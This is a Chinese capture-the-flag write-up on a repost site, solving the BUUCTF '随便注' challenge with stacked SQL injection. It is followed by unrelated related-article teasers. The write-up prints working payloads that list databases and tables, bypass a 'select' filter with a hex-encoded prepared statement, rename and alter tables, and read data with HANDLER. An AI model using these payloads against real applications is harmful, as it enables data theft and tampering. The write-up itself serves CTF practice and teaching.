堆叠注入进阶--(buuctf-随便注、GYCTF-black_list)【多方法详解】

news2024/10/7 17:34:35

了解一下

堆叠注入基础知识及其他题目:
SQL-堆叠注入

终于有时间来填填坑了

Buuctf-随便注

算是堆叠注入中非常经典的题目了。
在这里插入图片描述
随便试试就能看到黑名单:
在这里插入图片描述
没了select,其实大概率就是堆叠注入
先探测一下:

1';show databases;#

在这里插入图片描述
应该就是了。
再看看表:

1';show tables;#

在这里插入图片描述
然后查看表的结构先找到flag的位置:

1';desc `1919810931114514`;#

注:在mysql中,数字作为名称都要带上`这个符号来使用,用show columns from `1919810931114514`也行,也是记得加上`

找到
在这里插入图片描述

进阶点

这里就是关键,要如何来查看表中内容呢?select肯定是用不了了

方法一:编码处理

编码处理
因为select被过滤了,所以先将select * from `1919810931114514` 进行16进制编码,得到:

73656C656374202A2066726F6D20603139313938313039333131313435313460

本来payload为:

1';set @a=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;prepare newsql from @a;execute newsql;#

但是:
在这里插入图片描述
还有一个waf,使用大小写混写绕过

1';Set @a=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;prepare newsql from @a;execute newsql;#

得到结果:
在这里插入图片描述

方法二:巧用已知

在使用堆叠注入查看表之后,除了1919810931114514还有一个words表,因为show tables一定是在当前数据库工作的,说明一开始查询 1得到的,

array(2) {
 [0]=>
 string(1) "1"
 [1]=>
 string(7) "hahahah"
}

一定是利用这两个表查询出来的,显然1919810931114514这个表是不可能的,因为它只有一个字段的,不可能出现两个字段的结果。

1919810931114514的desc 结果如下:
在这里插入图片描述
现在我们就已知,查询的表是words表,输入1就会出现id=1的列,输入2就可以查id=2的列。虽然不能自己查询,但是可以默认查询words表的固定内容,尝试将
1919810931114514重命名为words,让查询语句默认可以查询到flag

0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#

现在来解释一下payload,首先把原word改名为words1,把1919810931114514改名为words,将表中的flag字段修改为id字段,同时将字段的数据类型设置为可变长度字符串,字符集设置为utf8,排序规则设置为utf8_general_ci,并且该字段不能为空。

最后查询一下words表的内容:

1' or 1=1#

在这里插入图片描述

方法三:handler读取

handler可以优化mysql 性能,但是它本身也存在一些问题。
参考链接:
Handler参考链接1
Handler参考链接2

它具有查询的功能,可以平替select,用法就像这样

handler t_student open as t;handler t read first;

所以它可以直接查询,构造payload就像这样:

1';handler `1919810931114514` open as p;handler p read first;#

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/878267.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Struts2一次请求参数问题的记录

最近,一次前端正常请求,但后台出现请求参数值的变化,导致报错,问题如下: 从入参request中查看请求参数,是一个Json字符串,其中有个description的键值对; 但是,接下来调用…

分布式websocket解决方案

1、websocket问题由来 websocket基础请自行学习,本文章是解决在分布式环境下websocket通讯问题。 在单体环境下,所有web客户端都是连接到某一个微服务上,这样消息都是到达统一服务端,并且也是由一个服务端进行响应,所以不会出现问题。 但是在分布式环境下,我们很容易发现…

【Vue】Vue2创建移动端项目实战教程,创建移动端项目保姆级教程,设置axios,utils工具包,vue.fonfig.js配置项 (下)

系列文章目录 这里是创建移动端项目 【Vue】Vue2.x创建项目全程讲解,保姆级教程,手把手教,Vue2怎么创建项目(上) 【Vue】Vue2创建移动端项目实战教程,创建移动端项目保姆级教程,接上一篇创建Vue…

解压版 MySQL 数据库的安装与配置

目录 1 下载2 安装3 配置3.1 添加环境变量3.2 新建配置文件3.3 初始化MySQL3.4 注册MySQL服务3.5 启动MySQL服务3.6 修改默认账户密码 4 登录MySQL5 卸载MySQL 安装环境:Win10 64位 软件版本:MySQL 5.7.24 解压版 1 下载 点击链接 进入如下界面 ❗️注意: 我们一般不…

JavaEE初阶:多线程 - 编程

1.认识线程 我们在之前认识了什么是多进程,今天我们来了解线程。 一个线程就是一个 "执行流". 每个线程之间都可以按照顺讯执行自己的代码. 多个线程之间 "同时" 执行 着多份代码. 引入进程这个概念,主要是为了解决并发编程这样的…

JAVA集合-List

// 数组的缺点:每次使用都需要指定长度,掉率低,操作麻烦 // // 【java集合体系】:分类:6个接口,1个工具类 // 6个接口: 单列 :Collection,(父接口) // …

成功项目管理必备的五个关键因素

在任何组织中,良好的项目管理都是项目成功的首要标准。然而,一旦被淹没在无穷无尽的任务、持续的紧迫性和利益相关者相互冲突等情况中,管理好项目可能会让你感到力不从心。找出项目成功的关键因素并加以解决,就能避免一切失败。 …

浅谈学生宿舍安全用电管理存在的问题及防范措施

安科瑞 华楠 摘要:2009年,由一个小小的“热的快”引起的学院女生火灾事件,再一次敲响了大学生安全用电的警钟。而近年来随着教育事业的蓬勃发展和教育体制的推进,我国高等教育总规模在逐年增加。而目前高等学校能源使用主要是以电…

产品帮助中心的制作方法,保姆级0-1完整的实操教程!

帮助中心是一个产品的重要用户自助服务模块,包括各类产品相关信息,用以帮助用户快速理解和使用产品功能。对于我们产品开发和管理者而言,设计帮助中心的初衷是解决用户困惑,怎么设计帮助中心,才能让其价值尽可能的大&a…

【C语言】每日一题(寻找数组的中心下标)

寻找数组的中心下标,链接奉上 方法 暴力循环前缀和 暴力循环 ​​​​​​​思路: 依旧是我们的老朋友,暴力循环。 1.可以利用外层for循环,循环变量为数组下标,在循环内分别求出下标左边与右边的sum 2.在边界时讨论&…

伙伴云CEO戴志康:让数据和业务更好的互通展现,数字化与可视化同步进行

近日,零代码平台伙伴云产品「页面」功能正式上线,在【小伙开麦】直播间,CEO戴志康和产品经理共同为在线观众展示「页面」的功能与使用技巧,让小伙伴们大呼过瘾!好玩、好用、好看的「页面」,到底有哪些亮点&…

动手学深度学习-pytorch版本(一):引言 预备知识

参考引用 动手学深度学习利用 Anaconda 安装 pytorch 和 paddle 深度学习环境 pycharm 安装 0. 环境安装 利用 Anaconda 安装 pytorch 和 paddle 深度学习环境 pycharm 安装 1. 引言 机器学习(machine learning,ML)是⼀类强⼤的可以从经…

苏宁API的详细介绍及应用领域分析

随着电子商务的快速发展,越来越多的企业开始关注并积极开发自己的API接口,以提供更加高效、便捷和个性化的服务。苏宁作为中国领先的零售企业之一,也不例外。 1. 苏宁API是什么? 苏宁API是苏宁开放平台提供的一组接口集合&#x…

c++ 获取输入

获取键盘输入 #include <iostream> #include <limits>bool enter_state(int &pos) {unsigned int userInput;std::cout << "[info] 请选择: 0.主驾, 1.副驾, 2.后排" << std::endl;std::cout << "[info] 请输入&#xff1a;…

网络系统架构演变

1.系统架构演变 随着互联网的发展&#xff0c;网站应用的规模不断扩大。需求的激增&#xff0c;带来的是技术上的压力。系统架构也因此不断的演进、升级、迭代。从单一应用&#xff0c;到垂直拆分&#xff0c;到分布式服务&#xff0c;到SOA&#xff0c;以及现在火热的微服务架…

BFS(广度优先搜索)和DFS(深度优先搜索)的相关介绍解析

文章目录 DFS 和 BFSBFS 的应用一&#xff1a;层序遍历BFS 的应用二&#xff1a;最短路径最短路径例题讲解 DFS简介DFS原理分类与分析1. DFS连通性模型2. DFS思路应用-穷举求解问题 DFS&#xff08;深度优先搜索&#xff09;和 BFS&#xff08;广度优先搜索&#xff09;就像孪生…

java:反射

java代码运行的三个阶段 第一阶段&#xff1a;源代码编译为了字节码&#xff08;.class文件&#xff09; 第二阶段&#xff1a;就是类加载器将字节码文件加载到内存中 第三阶段&#xff1a;程序运行时 类加载 将 class 文件读取到内存中的过程&#xff0c;称为类加载 class 文…

LabVIEW使用边缘检测技术实现彩色图像隐写术

LabVIEW使用边缘检测技术实现彩色图像隐写术 隐写术是隐藏信息的做法&#xff0c;以隐瞒通信的存在而闻名。该技术涉及在适当的载体&#xff08;如图像&#xff0c;音频或视频&#xff09;中插入秘密消息。在这些载体中&#xff0c;数字图像因其在互联网上的广泛使用而受到青睐…

软件测试用例设计方法之因果图法

基本概念 因果图是一种利用图解法分析输入的各种组合情况&#xff0c;从而设计测试用例的方法&#xff0c;它适合于检查程序输入条件的各种组合情况。 设计测试用例的步骤 分析软件规格说明描述中, 哪些是原因(即输入条件或输入条件的等价类),哪些是结果(即输出条件), 并给每…

API 接口设计版本管理控制的规范:向后兼容的3个规则

一下文章内容来自之前做API接口时整理的一些内容&#xff0c;记录分享一下。 在HTTP和HTML发展的早期&#xff0c;有着这样一条规则&#xff1a;任何浏览器在遇到无法识别的元素或元素属性时&#xff0c;都应该像该标签不存在一样行事。这使得快速更新HTML的功能成为可能&…